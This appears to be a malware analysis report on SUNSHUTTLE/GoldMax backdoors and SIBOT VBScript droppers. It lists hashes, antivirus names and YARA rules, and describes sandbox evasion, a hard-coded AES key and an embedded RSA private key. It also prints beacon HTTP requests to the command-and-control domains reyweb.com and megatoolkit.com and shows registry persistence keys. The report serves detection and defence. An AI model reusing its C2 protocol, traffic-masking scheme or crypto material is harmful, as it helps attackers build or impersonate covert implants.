94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45

Tags

backdoortrojan

Details
Name Lexicon.exeUnPacked
Size 5177856 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 ab248df75dd6cc1b19329145b296421d
SHA1 dec462b578a521ac38bbe7cf10c84f1b4bd33415
SHA256 94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
SHA512 25c458c2ec3ad87434d40a947247675fe4befb424cde5dc99645936076ed1d2b87d1ede9c43b045c11827874eaccb0b28d30bbe36354237e9082dd03287fcf33
ssdeep 49152:msEdwffUXL8uWH0zMoJmv2vzczcEPAizHjvPXIYXfc8N09uvO+CWh9i2H87i3FMh:dRG4u40z9BEcEPA+HjvwSqic1+A
Entropy 5.962959
Antivirus
Ahnlab Trojan/Win64.Cobalt
Avira TR/Sunshuttle.AF
BitDefender Generic.GoldMax.A.0F52032B
ClamAV Win.Malware.SUNSHUTTLE-9838970-0
Comodo Malware
Cyren W64/Trojan.YCHA-1477
ESET a variant of WinGo/Agent.AE trojan
Emsisoft Generic.GoldMax.A.0F52032B (B)
Ikarus Trojan.Crypter
K7 Trojan ( 00578be81 )
Lavasoft Generic.GoldMax.A.0F52032B
Microsoft Security Essentials Trojan:Win32/GoldMax!MSR
NANOAV Trojan.Win64.Sunshuttle.iodoxr
Quick Heal Trojan.Generic
Sophos Troj/GoldMax-A
Symantec Trojan.Gen.MBT
Systweak trojan-backdoor.sunshuttle-r
TrendMicro Backdoo.B97FD07F
TrendMicro House Call Backdoo.B97FD07F
VirusBlokAda Trojan.Glupteba
Zillya! Trojan.Agent.Win64.7447
YARA Rules
  • rule CISA_3P_10327841_02 : SOLARFLARE trojan
    {
       meta:
           Author = “CISA Trusted Third Party”
           Incident = “10327841.r1.v1”
           Date = “2021-03-04”
           Actor = “n/a”
           Category = “Trojan”
           Family = “SOLARFLARE”
           Description = “Detects strings in WindowsDSVC_exe samples”
           MD5_1 = “4de28110bfb88fdcdf4a0133e118d998”
           SHA256_1 = “fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836”
       strings:
           $Go_Lang = “Go build ID:”
           $main_func = “main.main”
           $main_encrypt = “main.encrypt”
           $main_MD5 = “main.GetMD5Hash”
           $main_beacon = “main.beaconing”
           $main_command = “main.resolve_command”
           $main_key1 = “main.request_session_key”
           $main_key2 = “main.retrieve_session_key”
           $main_clean = “main.clean_file”
           $main_wget = “main.wget_file”
       condition:
           (uint16(0) == 0x5A4D) and all of them
    }
  • rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
    {
       meta:
           Author = “FireEye”
           Date = “2021-03-04”
           Last_Modified = “20210305_1704”
           Actor = “UNC2452”
           Category = “Backdoor”
           Family = “SUNSHUTTLE”
           Description = “This rule detects strings found in SUNSHUTTLE”
           MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
           SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
       strings:
           $s1 = “main.request_session_key”
           $s2 = “main.define_internal_settings”
           $s3 = “main.send_file_part”
           $s4 = “main.clean_file”
           $s5 = “main.send_command_result”
           $s6 = “main.retrieve_session_key”
           $s7 = “main.save_internal_settings”
           $s8 = “main.resolve_command”
           $s9 = “main.write_file”
           $s10 = “main.beaconing”
           $s11 = “main.wget_file”
           $s12 = “main.fileExists”
           $s13 = “main.removeBase64Padding”
           $s14 = “main.addBase64Padding”
           $s15 = “main.delete_empty”
           $s16 = “main.GetMD5Hash”
       condition:
           filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
    }
  • rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
    {
       meta:
           Author = “FireEye”
           Date = “2021-03-04”
           Last_Modified = “20210305_1704”
           Actor = “UNC2452”
           Category = “Backdoor”
           Family = “SUNSHUTTLE”
           Description = “This rule detects strings found in SUNSHUTTLE”
           MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
           SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
       strings:
           $s1 = “LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk”
           $s2 = “LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ”
           $s3 = “Go build ID: “”
       condition:
           filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash 91802a615b3a5c4bcc05bc5f66a5b219
PE Sections
MD5 Name Raw Size Entropy
8ff4385790edf4dc360cdf709edefacb header 1536 1.209291
e7c248921feb7147df53d3c4c1c4481f .text 2402816 5.902294
d6a5f7faecd7889cd4463e7dca0c1bb0 .rdata 2510848 5.344525
842570d7d75648b08153f61c3ad2db42 .data 260608 5.551951
99830eca3610cfe7885679f26396b285 .idata 1536 2.879055
07b5472d347d42780469fb2654b7fc54 .symtab 512 0.020393
Relationships
94c58c7fb4… Connected_To reyweb.com
94c58c7fb4… Contained_Within b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8
Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample “Lexicon.exe” (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim’s system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: “c8:27:cc:c2:37:5a.” If not, the malware will proceed to check if the file “%current directory%config.dat.tmp” is installed on the compromised system. If the file is not installed, it will create and encrypt a configuration data using the AES-256 encryption algorithm with the hard-coded key: “hz8l2fnpvp71ujfy8rht6b0smouvp9k8.” The encrypted data is Base64 encoded using the custom Base64 alphabet (“=” replaced with null) before stored into “config.dat.tmp” in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:
   
–Begin configuration data–
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: d2ed208623fa66d2e5372c27c9230fb8|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
–End configuration data–

The configuration contains: MD5 hash of the current time | the number range used by its PRNG | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send an HTTP GET request to its C2 server for a session key. The GET request contains a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

–Begin randomized HTTP referer–
www[.]bing.com
www[.]google.com
www[.]facebook.com
www[.]yahoo.com
–End randomized HTTP referer–

It contains the following hard-coded legitimate and C2 URIs:

–Begin C2 URIs–
https[:]//reyweb.com/icon.ico
https[:]//reyweb.com/icon.png
https[:]//reyweb.com/script.js
https[:]//reyweb.com/style.css
https[:]//reyweb.com/css/style.css
https[:]//reyweb.com/assets/index.php
https[:]//reyweb.com/css/bootstrap.css
https[:]//reyweb.com/scripts/jquery.js
https[:]//reyweb.com/scripts/bootstrap.js
–End C2 URIs–

–Begin legitimate URIs–
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//cdn.cloudflare.com
https[:]//cdn.mxpnl.com
https[:]//cdn.google.com
https[:]//cdn.jquery.com/index
–End legitimate URIs–

Displayed below is a sample GET request for a session key:

–Begin sample request —
GET /assets/index.php HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www[.]yahoo.com
Accept-Encoding: gzip
–End sample request —

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

–Begin request–
GET /ui/v3/icons HTTP/1.1
Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
–End request–

–Begin request–
GET /css/bootstrap.css HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
–End request–

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA OAEP encrypted session key received from its C2:

–BEGIN PRIVATE KEY–
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
–END PRIVATE KEY–

reyweb.com

Tags

command-and-control

URLs
  • reyweb.com/assets/index.php
  • reyweb.com/css/bootstrap.css
  • reyweb.com/css/style.css
  • reyweb.com/icon.ico
  • reyweb.com/icon.png
  • reyweb.com/script.js
  • reyweb.com/scripts/bootstrap.js
  • reyweb.com/scripts/jquery.js
  • reyweb.com/style.css
HTTP Sessions
  • GET /assets/index.php HTTP/1.1
    Host: reyweb.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
    Referer: www[.]yahoo.com
    Accept-Encoding: gzip
  • GET /assets/index.php HTTP/1.1
    Host: reyweb.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    Cookie: HjELmFxKJc=f27616f33730acfea04a05e53081d1ec; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
    Referer: www[.]facebook.com
    Accept-Encoding: gzip
Whois

Domain Name: REYWEB.COM
Registry Domain ID: 1620703932_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2020-04-30T08:57:06Z
Creation Date: 2010-10-16T18:54:19Z
Registry Expiry Date: 2021-10-16T18:54:19Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.CP-19.WEBHOSTBOX.NET
Name Server: NS2.CP-19.WEBHOSTBOX.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2021-03-04T17:32:23Z <

Relationships
reyweb.com Connected_From 94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
Description

“Lexicon.exe” (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8) attempts to connect to this domain.

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def

Tags

trojan

Details
Name SchCachedSvc.exe
Size 2037248 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 3efff3415e878d8f23f3c51cf1acfd1b
SHA1 81cbbd07e8cd7ac171590304946003f9c02f5164
SHA256 ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def
SHA512 d15f14af7dbe77d956adb05b3d4d67b401cb068a31392c45f64b2fe5a213a6f60bce4656d49375443ef165e276ccb5e98ce0c45b16842c3b2705c63feee7e0bf
ssdeep 49152:AbHM13VNy7Pcp00wMpC7+UuqGkyH0NFcCFqko37hWq:AbHexxwMpC7+Uuf7yaES7hWq
Entropy 7.874807
Antivirus
BitDefender Gen:Variant.Bulz.370300
ESET a variant of WinGo/Agent.AE trojan
Emsisoft Gen:Variant.Bulz.370300 (B)
Ikarus Trojan.Win64.Rozena
Lavasoft Gen:Variant.Bulz.370300
Microsoft Security Essentials Trojan:Win64/GoldMax.A!dha
Sophos Mal/GoldMax-A
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash e58ab46f2a279ded0846d81bf0fa21f7
PE Sections
MD5 Name Raw Size Entropy
c48f92bd3dd2069ef2edcdb22bd65fa1 header 512 2.494140
d41d8cd98f00b204e9800998ecf8427e UPX0 0 0.000000
0aaa15e9aae3304d555536a90dab1223 UPX1 2036224 7.875386
8b4f623319b09fd4b7d5fcdc5179f6ee UPX2 512 1.763456
Relationships
ec5f07c169… Connected_To nikeoutletinc.org
Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware.

On execution, the behavior is nearly identical to bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec). It produced the same number of events, with only slight variation in order of file names. It is likely another iteration of this sample.

Upon execution, drops file “config.data.tmp” in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “nikeoutletinc.org” using TLSv1.3 to create a secure connection with C2. config.data.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

File is packed with UPX. Displayed below is a string of interest:

–Begin string of interest–
Go build ID: “yytqyhV7XNSuSZRXAADu/FzAnsR7anW_XvSXcBCS2/4f91rfQD47Q6E02u8kC8/_t-YMsh7fECr1GVsP3F7x”
hxxps[:]//cdn.bootstrap.com/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid argument to Int31ninvalid argument to Int63ninvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked encodingname not unique on network
–End string of interest–

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec

Tags

backdoortrojan

Details
Name bootcats.exe
Size 5178368 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 7f3a0c0a72b661ad8eaf579789530634
SHA1 d11a1fa8811781ad17253d47f23044994f691739
SHA256 4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
SHA512 fed911ea264ca3f69fd28b4ce808fc185732ad99bb4b5f9167103e76694d4306a5f3af1d1b9aca5074b2aa72b2ec4909495cb2a018c0f475159621dddb372d2c
ssdeep 49152:YQ4uataXvwDOvdk6NDv0U/u3BT1OZutqIpYFDkciESn1KNJQvJiLxETsL0qoIqxk:L5gOwOq6NYbSZutqIpYIcmvpw7+A
Entropy 5.960173
Antivirus
BitDefender Gen:Variant.Bulz.370300
ClamAV Win.Malware.SUNSHUTTLE-9838970-0
ESET a variant of WinGo/Agent.AE trojan
Emsisoft Gen:Variant.Bulz.370300 (B)
Ikarus Trojan.Crypter
Lavasoft Gen:Variant.Bulz.370300
Microsoft Security Essentials Trojan:Win64/GoldMax.A!dha
Sophos Mal/GoldMax-A
Systweak trojan-backdoor.sunshuttle-r
YARA Rules
  • rule CISA_3P_10327841_02 : SOLARFLARE trojan
    {
       meta:
           Author = “CISA Trusted Third Party”
           Incident = “10327841.r1.v1”
           Date = “2021-03-04”
           Actor = “n/a”
           Category = “Trojan”
           Family = “SOLARFLARE”
           Description = “Detects strings in WindowsDSVC_exe samples”
           MD5_1 = “4de28110bfb88fdcdf4a0133e118d998”
           SHA256_1 = “fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836”
       strings:
           $Go_Lang = “Go build ID:”
           $main_func = “main.main”
           $main_encrypt = “main.encrypt”
           $main_MD5 = “main.GetMD5Hash”
           $main_beacon = “main.beaconing”
           $main_command = “main.resolve_command”
           $main_key1 = “main.request_session_key”
           $main_key2 = “main.retrieve_session_key”
           $main_clean = “main.clean_file”
           $main_wget = “main.wget_file”
       condition:
           (uint16(0) == 0x5A4D) and all of them
    }
  • rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
    {
       meta:
           Author = “FireEye”
           Date = “2021-03-04”
           Last_Modified = “20210305_1704”
           Actor = “UNC2452”
           Category = “Backdoor”
           Family = “SUNSHUTTLE”
           Description = “This rule detects strings found in SUNSHUTTLE”
           MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
           SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
       strings:
           $s1 = “main.request_session_key”
           $s2 = “main.define_internal_settings”
           $s3 = “main.send_file_part”
           $s4 = “main.clean_file”
           $s5 = “main.send_command_result”
           $s6 = “main.retrieve_session_key”
           $s7 = “main.save_internal_settings”
           $s8 = “main.resolve_command”
           $s9 = “main.write_file”
           $s10 = “main.beaconing”
           $s11 = “main.wget_file”
           $s12 = “main.fileExists”
           $s13 = “main.removeBase64Padding”
           $s14 = “main.addBase64Padding”
           $s15 = “main.delete_empty”
           $s16 = “main.GetMD5Hash”
       condition:
           filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
    }
  • rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
    {
       meta:
           Author = “FireEye”
           Date = “2021-03-04”
           Last_Modified = “20210305_1704”
           Actor = “UNC2452”
           Category = “Backdoor”
           Family = “SUNSHUTTLE”
           Description = “This rule detects strings found in SUNSHUTTLE”
           MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
           SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
       strings:
           $s1 = “LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk”
           $s2 = “LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ”
           $s3 = “Go build ID: “”
       condition:
           filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash 91802a615b3a5c4bcc05bc5f66a5b219
PE Sections
MD5 Name Raw Size Entropy
7a1607fa13e952f0074d14da6640799e header 1536 1.254058
82e920a576c08a7fff8d28fe7f3e93a4 .text 2402816 5.901993
7c4531cb3e331f4a36a1ac2b77022169 .rdata 2511360 5.340532
69aaf44b0f374f9e66eb65c779a77528 .data 260608 5.551012
f981b67cbc5a081af39bedc1eb2fe60b .idata 1536 3.414430
07b5472d347d42780469fb2654b7fc54 .symtab 512 0.020393
Relationships
4e8f24fb50… Connected_To megatoolkit.com
4e8f24fb50… Dropped bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df
Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. It is unique in that it does not appear to be packed, unlike other GoldMax samples, which were packed with UPX. It was observed beginning to beacon after remediation efforts began on the compromised network.

Upon execution, drops file “runlog.dat.tmp” (bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df) in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “megatoolkit.com” using TLSv1.3 to create a secure connection with C2. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

megatoolkit.com

Tags

command-and-control

URLs
  • megatoolkit.com/catalog/
  • megatoolkit.com/icon.ico
  • megatoolkit.com/icon.pngi19TotqC9iD8Y0B7jcGnpp5hYcyjg4cL
Whois

Domain Name: megatoolkit.com
Registry Domain ID: 2344043124_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: https://www.namesilo.com/
Updated Date: 2020-12-16T07:00:00Z
Creation Date: 2018-12-17T07:00:00Z
Registrar Registration Expiration Date: 2022-12-17T07:00:00Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Domain Administrator
Registrant Organization: See PrivacyGuardian.org
Registrant Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Registrant City: Phoenix
Registrant State/Province: AZ
Registrant Postal Code: 85016
Registrant Country: US
Registrant Phone: +1.3478717726
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Admin ID:
Admin Name: Domain Administrator
Admin Organization: See PrivacyGuardian.org
Admin Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Admin City: Phoenix
Admin State/Province: AZ
Admin Postal Code: 85016
Admin Country: US
Admin Phone: +1.3478717726
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Tech ID:
Tech Name: Domain Administrator
Tech Organization: See PrivacyGuardian.org
Tech Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Tech City: Phoenix
Tech State/Province: AZ
Tech Postal Code: 85016
Tech Country: US
Tech Phone: +1.3478717726
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Name Server: NS1.DNSOWL.COM
Name Server: NS2.DNSOWL.COM
Name Server: NS3.DNSOWL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships
megatoolkit.com Connected_From 4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
Description

bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec) attempts to connect to this domain.

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df

Details
Name runlog.dat.tmp
Size 235 bytes
Type ASCII text, with no line terminators
MD5 aaf144c8c647a0f7f807e203921dc244
SHA1 510336020a32652cb65891ad9fde3b2a60f9a768
SHA256 bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df
SHA512 6a861468536c83626a0636adc517a48e4a5a022fea6f1e28bde3a43b1121d5b98734533e2f8c1943d9c5e075597139cd34ae6f5e1f75f9981a4266f4acf2ff4a
ssdeep 3:oc2XPd1k1NjViOUjQ3EGqqxBo2JsKGNoLYWBiUvxwy3zeaDKkUg+mTe8G9t4WrQ8:52fdWHj47sYqHls7Wra/kU5MeX0ST7v
Entropy 5.800454
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
bc7a3b3cfa… Dropped_By 4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
Description

This file is a text file that was dropped by bootcats.exe. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb

Tags

botdownloaderloadertrojan

Details
Name rundll32registry_createremoteregistry.vbs
Size 26789 bytes
Type ASCII text, with very long lines, with CRLF line terminators
MD5 4fd640185f229d0ef142899c54024615
SHA1 3d3ccd9445aeb07499a91250686c84a737bfa013
SHA256 7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb
SHA512 44fb8d7c2e19c3d3f135583e818532ec2db42e0b9f548e38fd44939a574af123521051eadcecbcf70908383bb27f92c55b2a8bacf07995c5b9768ad88bfd4025
ssdeep 384:zYxnffSvor4lD1ok0JQCnaUfDnFO1AnKAn/jUfFYtYEYBhj:46/ok09tUfFYtYEYBhj
Entropy 3.305791
Antivirus
Microsoft Security Essentials TrojanDownloader:VBS/Sibot.A!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to install an obfuscated second stage VBScript into the Windows registry keys below:

–Begin registry keys–
hKey = HKEY_LOCAL_MACHINE
Subkey = “SOFTWAREMicrosoftWindowsCurrentVersionsibot”
ValueName = “(Default)”
Data =    “obfuscated second stage VBScript”
–End registry keys–

The embedded VBScript is executed by “rundll32registry_schtaskdaily.vbs (acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66).

“Final_vbscript.vbs” (a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f) is the de-obfuscated VBScript.

Screenshots

Figure 2 - The content of the script used to install an obfuscated second stage VBScript malware into the Windows registry keys.

Figure 2 – The content of the script used to install an obfuscated second stage VBScript malware into the Windows registry keys.

Figure 3 - The registry key value containing the obfuscated second stage VBscript.

Figure 3 – The registry key value containing the obfuscated second stage VBscript.

acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66

Tags

bottrojan

Details
Name rundll32registry_schtaskdaily.vbs
Size 3409 bytes
Type ASCII text, with very long lines, with CRLF line terminators
MD5 15b3856e59a242577d83275279ed70e0
SHA1 65d3a466d65e6f7df813f83c25d828e04488a1c7
SHA256 acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66
SHA512 714d76e8da8d9016ef7b7351d67dba0c7a24930bad52958b86a05ff878d6506edbed48076a6f245cff1eb670dd75b0c5d317717cd494b0a558a8a7e67a5c315d
ssdeep 96:xCKjZrAuFT3M6tsKXbdUKrsGrkLgTe1HDM3wmD2GQ09LUF:rLFwNsseyvV058
Entropy 5.608919
Antivirus
BitDefender Trojan.Agent.FEBT
Emsisoft Trojan.Agent.FEBT (B)
Lavasoft Trojan.Agent.FEBT
Microsoft Security Essentials Trojan:VBS/Sibot.B!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

